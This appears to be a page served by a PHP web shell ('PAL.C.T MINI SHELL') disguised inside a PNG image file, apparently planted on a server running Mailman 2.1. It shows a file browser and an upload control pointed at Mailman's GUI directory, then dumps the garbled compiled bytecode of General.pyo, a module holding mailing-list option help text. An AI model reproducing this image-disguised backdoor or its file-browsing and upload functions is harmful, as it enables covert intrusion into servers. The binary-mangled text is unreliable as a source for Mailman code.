php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Gui/
upload
files >> //usr/lib/mailman/Mailman/Gui/General.pyo

Pc@sdZddkZddklZddklZddklZddklZddkl	Z	ddk
lZdZd
efdYZ
dS(s2MailList mixin class managing the general options.iN(tIntType(tmm_cfg(tUtils(tErrors(t_(tGUIBasethidetacktnotmetootnodupestGeneralcBs5eZdZdZdZdZdZRS(cCsdtdfS(NtgeneralsGeneral Options(R(tself((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/General.pytGetConfigCategory#sc
*Cs2|djodSti}htid6tid6tid6tid6}htdd6tdd6tdd6td	d6}g}tD]}||i	||@q~}	g}
tD]}|
||q~
}td
tddti
|d
tdtdfdtid|fd
tdtdfdtid|fd
tdtdfdti
|d
tdtdfdtid|fd
tdtdfdti
|d
tdtd fd!ti
td"td#fd
td$ftd%d&ti
td"td#fd
td'fd(ti
td)td*td+fd
td,td-fd.ti|d
td/td0ftd1d2ti
td"td#fd
td3td4fd5ti
|d
td6td7ftd8d9ti
td"td#fd
td:td;fd<tid=|fd
td>td?fd@ti
td"td#fd
tdAtdBfdCtid=|fd
tdDfdEti
td"td#fd
tdFfdGti
td"td#fd
tdHtdIfdJti
td"td#fd
tdKfdLti
td"td#fd
tdMftdNdOtitd"td#fd
tdPtdQfdRti||	d
tfd
tdStdTfdUti
td"td#fd
tdVtdWfdXtidd
tdYfdZtidd
td[fd\ti|d
td]td^fg }tioD|id_ti
td"td#fd
td`tdafn|idbti
td"td#fd
tdctddf|idetidd
tdff|S(gNRRRRR	sConceal the member's addresss Acknowledge the member's postings)Do not send a copy of a member's own posts;Filter out duplicate messages to list members (if possible)s]Fundamental list characteristics, including descriptive
            info and basic behaviors.sGeneral list personalityt	real_nameis6The public name of this list (make case-changes only).sThe capitalization of this name can be changed to make it
             presentable in polite company as a proper noun, or to make an
             acronym part all upper case, etc.  However, the name will be
             advertised as the email address (e.g., in subscribe confirmation
             notices), so it should <em>not</em> be otherwise altered.  (Email
             addresses are not case sensitive, but they are sensitive to
             almost everything else :-)townerisvThe list administrator email addresses.  Multiple
             administrator addresses, each on separate line is okay.sThere are two ownership roles associated with each mailing
             list.  The <em>list administrators</em> are the people who have
             ultimate control over all parameters of this mailing list.  They
             are able to change any list configuration variable available
             through these administration web pages.

             <p>The <em>list moderators</em> have more limited permissions;
             they are not able to change any list configuration variable, but
             they are allowed to tend to pending administration requests,
             including approving or rejecting held subscription requests, and
             disposing of held postings.  Of course, the <em>list
             administrators</em> can also tend to pending requests.

             <p>In order to split the list ownership duties into
             administrators and moderators, you must
             <a href="passwords">set a separate moderator password</a>,
             and also provide the <a href="?VARHELP=general/moderator">email
             addresses of the list moderators</a>.  Note that the field you
             are changing here specifies the list administrators.t	moderatorsnThe list moderator email addresses.  Multiple
             moderator addresses, each on separate line is okay.sThere are two ownership roles associated with each mailing
             list.  The <em>list administrators</em> are the people who have
             ultimate control over all parameters of this mailing list.  They
             are able to change any list configuration variable available
             through these administration web pages.

             <p>The <em>list moderators</em> have more limited permissions;
             they are not able to change any list configuration variable, but
             they are allowed to tend to pending administration requests,
             including approving or rejecting held subscription requests, and
             disposing of held postings.  Of course, the <em>list
             administrators</em> can also tend to pending requests.

             <p>In order to split the list ownership duties into
             administrators and moderators, you must
             <a href="passwords">set a separate moderator password</a>,
             and also provide the email addresses of the list moderators in
             this section.  Note that the field you are changing here
             specifies the list moderators.tdescriptions%A terse phrase identifying this list.sThis description is used when the mailing list is listed with
                other mailing lists, or in headers, and so forth.  It should
                be as succinct as you can get it, while still identifying what
                the list is.tinfoisAn introductory description - a few paragraphs - about the
             list.  It will be included, as html, at the top of the listinfo
             page.  Carriage returns will end a paragraph - see the details
             for more info.sThe text will be treated as html <em>except</em> that
             newlines will be translated to &lt;br&gt; - so you can use links,
             preformatted text, etc, but don't put in carriage returns except
             where you mean to separate paragraphs.  And review your changes -
             bad html (like some unterminated HTML constructs) can prevent
             display of the entire listinfo page.tsubject_prefixs)Prefix for subject line of list postings.sThis text will be prepended to subject lines of messages
             posted to the list, to distinguish mailing list messages in
             mailbox summaries.  Brevity is premium here, it's ok to shorten
             long mailing list names to something more concise, as long as it
             still identifies the mailing list.
             You can also add a sequential number by %%d substitution
             directive. eg.; [listname %%d] -> [listname 123]
                            (listname %%05d) -> (listname 00123)
             tanonymous_listtNotYessxHide the sender of a message, replacing it with the list
             address (Removes From, Sender and Reply-To fields)s!<tt>Reply-To:</tt> header mungingtfirst_strip_reply_tosShould any existing <tt>Reply-To:</tt> header found in the
             original message be stripped?  If so, this will be done
             regardless of whether an explict <tt>Reply-To:</tt> header is
             added by Mailman or not.treply_goes_to_listtPosters	This listsExplicit addresssWhere are replies to list messages directed?
             <tt>Poster</tt> is <em>strongly</em> recommended for most mailing
             lists.sThis option controls what Mailman does to the
             <tt>Reply-To:</tt> header in messages flowing through this
             mailing list.  When set to <em>Poster</em>, no <tt>Reply-To:</tt>
             header is added by Mailman, although if one is present in the
             original message, it is not stripped.  Setting this value to
             either <em>This list</em> or <em>Explicit address</em> causes
             Mailman to insert a specific <tt>Reply-To:</tt> header in all
             messages, overriding the header in the original message if
             necessary (<em>Explicit address</em> inserts the value of <a
             href="?VARHELP=general/reply_to_address">reply_to_address</a>).

             <p>There are many reasons not to introduce or override the
             <tt>Reply-To:</tt> header.  One is that some posters depend on
             their own <tt>Reply-To:</tt> settings to convey their valid
             return address.  Another is that modifying <tt>Reply-To:</tt>
             makes it much more difficult to send private replies.  See <a
             href="http://www.unicom.com/pw/reply-to-harmful.html">`Reply-To'
             Munging Considered Harmful</a> for a general discussion of this
             issue.  See <a
             href="http://www.metasystema.net/essays/reply-to.mhtml">Reply-To
             Munging Considered Useful</a> for a dissenting opinion.

             <p>Some mailing lists have restricted posting privileges, with a
             parallel list devoted to discussions.  Examples are `patches' or
             `checkin' lists, where software changes are posted by a revision
             control system, but discussion about the changes occurs on a
             developers mailing list.  To support these types of mailing
             lists, select <tt>Explicit address</tt> and set the
             <tt>Reply-To:</tt> address below to point to the parallel
             list.treply_to_addresss#Explicit <tt>Reply-To:</tt> header.sbThis is the address set in the <tt>Reply-To:</tt> header
             when the <a
             href="?VARHELP=general/reply_goes_to_list">reply_goes_to_list</a>
             option is set to <em>Explicit address</em>.

             <p>There are many reasons not to introduce or override the
             <tt>Reply-To:</tt> header.  One is that some posters depend on
             their own <tt>Reply-To:</tt> settings to convey their valid
             return address.  Another is that modifying <tt>Reply-To:</tt>
             makes it much more difficult to send private replies.  See <a
             href="http://www.unicom.com/pw/reply-to-harmful.html">`Reply-To'
             Munging Considered Harmful</a> for a general discussion of this
             issue.  See <a
             href="http://www.metasystema.net/essays/reply-to.mhtml">Reply-To
             Munging Considered Useful</a> for a dissenting opinion.

             <p>Some mailing lists have restricted posting privileges, with a
             parallel list devoted to discussions.  Examples are `patches' or
             `checkin' lists, where software changes are posted by a revision
             control system, but discussion about the changes occurs on a
             developers mailing list.  To support these types of mailing
             lists, specify the explicit <tt>Reply-To:</tt> address here.  You
             must also specify <tt>Explicit address</tt> in the
             <tt>reply_goes_to_list</tt>
             variable.

             <p>Note that if the original message contains a
             <tt>Reply-To:</tt> header, it will not be changed.sUmbrella list settingst
umbrella_listsZSend password reminders to, eg, "-owner" address instead of
             directly to user.srSet this to yes when this list is intended to cascade only
             to other mailing lists.  When set, meta notices like
             confirmations and password reminders will be directed to an
             address derived from the member's address - it will have the
             value of "umbrella_member_suffix" appended to the member's
             account name.tumbrella_member_suffixsSuffix for use when this list is an umbrella for other
             lists, according to setting of previous "umbrella_list"
             setting.sWhen "umbrella_list" is set to indicate that this list has
             other mailing lists as members, then administrative notices like
             confirmations and password reminders need to not be sent to the
             member list addresses, but rather to the owner of those member
             lists.  In that case, the value of this setting is appended to
             the member's account name for such notices.  `-owner' is the
             typical choice.  This setting has no effect when "umbrella_list"
             is "No".t
Notificationstsend_reminderss Send monthly password reminders?sTurn this on if you want password reminders to be sent once
             per month to your members.  Note that members may disable their
             own individual password reminders.twelcome_msgisKList-specific text prepended to new-subscriber welcome
             messages4This value, if any, will be added to the front of the
             new-subscriber welcome message.  The rest of the welcome message
             already describes the important addresses and URLs for the
             mailing list, so you don't need to include any of that kind of
             stuff here.  This should just contain mission-specific kinds of
             things, like etiquette policies or team orientation, or that kind
             of thing.

             <p>Note that this text will be wrapped, according to the
             following rules:
             <ul><li>Each paragraph is filled so that no line is longer than
                     70 characters.
                 <li>Any line that begins with whitespace is not filled.
                 <li>A blank line separates paragraphs.
             </ul>tsend_welcome_msgs1Send welcome message to newly subscribed members?sTurn this off only if you plan on subscribing people manually
             and don't want them to know that you did so.  This option is most
             useful for transparently migrating lists from some other mailing
             list manager to Mailman.tgoodbye_msgswText sent to people leaving the list.  If empty, no special
             text will be added to the unsubscribe message.tsend_goodbye_msgs;Send goodbye message to members when they are unsubscribed?tadmin_immed_notifys|Should the list moderators get immediate notice of new
             requests, as well as daily notices about collected ones?sZList moderators (and list administrators) are sent daily
             reminders of requests pending approval, like subscriptions to a
             moderated list, or postings that are being held for one reason or
             another.  Setting this option causes notices to be sent
             immediately on the arrival of new requests as well.tadmin_notify_mchangessMShould administrator get notices of subscribes and
             unsubscribes?trespond_to_post_requestss<Send mail to poster when their posting is held for approval?sAdditional settingst	emergencys)Emergency moderation of all list traffic.sWhen this option is enabled, all list traffic is emergency
             moderated, i.e. held for moderation.  Turn this option on when
             your list is experiencing a flamewar and you want a cooling off
             period.tnew_member_optionss}Default options for new members joining this list.<input
             type="hidden" name="new_member_options" value="ignore">sWhen a new member is subscribed to this list, their initial
             set of options is taken from the this variable's setting.t
administriviasn(Administrivia filter) Check postings and intercept ones
             that seem to be administrative requests?s7Administrivia tests will check postings to see whether it's
             really meant as an administrative request (like subscribe,
             unsubscribe, etc), and will add it to the the administrative
             requests queue, notifying the administrator of the new request,
             in the process.tmax_message_sizesUMaximum length in kilobytes (KB) of a message body.  Use 0
             for no limit.tadmin_member_chunksizesRMaximum number of members to show on one page of the
             Membership List.t	host_names&Host name this list prefers for email.s:The "host_name" is the preferred name for email to
             mailman-related addresses on this host, and generally should be
             the mail host's exchanger address, if any.  This setting can be
             useful for selecting among alternative names of a host that has
             multiple addresses.tinclude_rfc2369_headerssShould messages from this mailing list include the
                 <a href="http://www.faqs.org/rfcs/rfc2369.html">RFC 2369</a>
                 (i.e. <tt>List-*</tt>) headers?  <em>Yes</em> is highly
                 recommended.sjRFC 2369 defines a set of List-* headers that are
                 normally added to every message sent to the list membership.
                 These greatly aid end-users who are using standards compliant
                 mail readers.  They should normally always be enabled.

                 <p>However, not all mail readers are standards compliant yet,
                 and if you have a large number of members who are using
                 non-compliant mail readers, they may be annoyed at these
                 headers.  You should first try to educate your members as to
                 why these headers exist, and how to hide them in their mail
                 clients.  As a last resort you can disable these headers, but
                 this is not recommended (and in fact, your ability to disable
                 these headers may eventually go away).tinclude_list_post_headers7Should postings include the <tt>List-Post:</tt> header?syThe <tt>List-Post:</tt> header is one of the headers
             recommended by
             <a href="http://www.faqs.org/rfcs/rfc2369.html">RFC 2369</a>.
             However for some <em>announce-only</em> mailing lists, only a
             very select group of people are allowed to post to the list; the
             general membership is usually not allowed to post.  For lists of
             this nature, the <tt>List-Post:</tt> header is misleading.
             Select <em>No</em> to disable the inclusion of this header. (This
             does not affect the inclusion of the other <tt>List-*:</tt>
             headers.)tmax_days_to_holdsdDiscard held messages older than this number of days.
            Use 0 for no automatic discarding.(tNoneRtTEXTFIELDWIDTHtConcealSubscriptiontAcknowledgePoststDontReceiveOwnPoststDontReceiveDuplicatesRtOPTIONSR'tStringt	EmailListtTexttRadiotEmailtToggletCheckboxtNumbertHosttALLOW_RFC2369_OVERRIDEStappend(
RtmlisttcategorytsubcattWIDTHt	bitfieldst	bitdescrst_[1]totoptvalst_[2]topttexttrtn((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/General.pyt
GetConfigInfo&s&
	






,%										!		!		!				!			!			!			!!	!			!				!				
				

cCsy|djo6|i|iijo|itdn3|djoLd}x6tD].}ti|}||jo||O}q]q]W||_n|djoti	||i
|_n|djoH||ijo4ti
|o|itdq||_qun\|djo5|d	jpt|to|itd
nti|||||dS(NRsr<b>real_name</b> attribute not
            changed!  It must differ from the list's name by case
            only.R'iRRsThe <b>info</b> attribute you saved
contains suspicious HTML that could potentially expose your users to cross-site
scripting attacks.  This change has therefore been rejected.  If you still want
to make these changes, you must have shell access to your Mailman server.
This change can be made with bin/withlist or with bin/config_list by setting
mlist.info.
                        R*is\<b>admin_member_chunksize</b> attribute not
            changed!  It must be an integer > 0.(tlowert
internal_nametaddErrorRR5RtOPTINFOR'Rtcanonstrtpreferred_languageRRtsuspiciousHTMLt
isinstanceRRt	_setValue(RRAtpropertytvaltdoctnewoptstopttbitfield((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/General.pyRVs4
	





		cCsN|iio9|idjo)|itdd|_d|_ndS(NispYou cannot add a Reply-To: to an explicit
            address if that address is blank.  Resetting these values.ti(RtstripRRPR(RRARY((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/General.pyt
_postValidates	
	cCs(|djodSti|i|iS(NR(R/Rt
uncanonstrRRS(RRAtkindtvarnametparams((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/General.pytgetValues
(t__name__t
__module__R
RMRVR_Rd(((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/General.pyR
"s			&		(shidesacksnotmetoosnodupes(t__doc__trettypesRtMailmanRRRtMailman.i18nRtMailman.Gui.GUIBaseRR5R
(((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/General.pyt<module>s
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`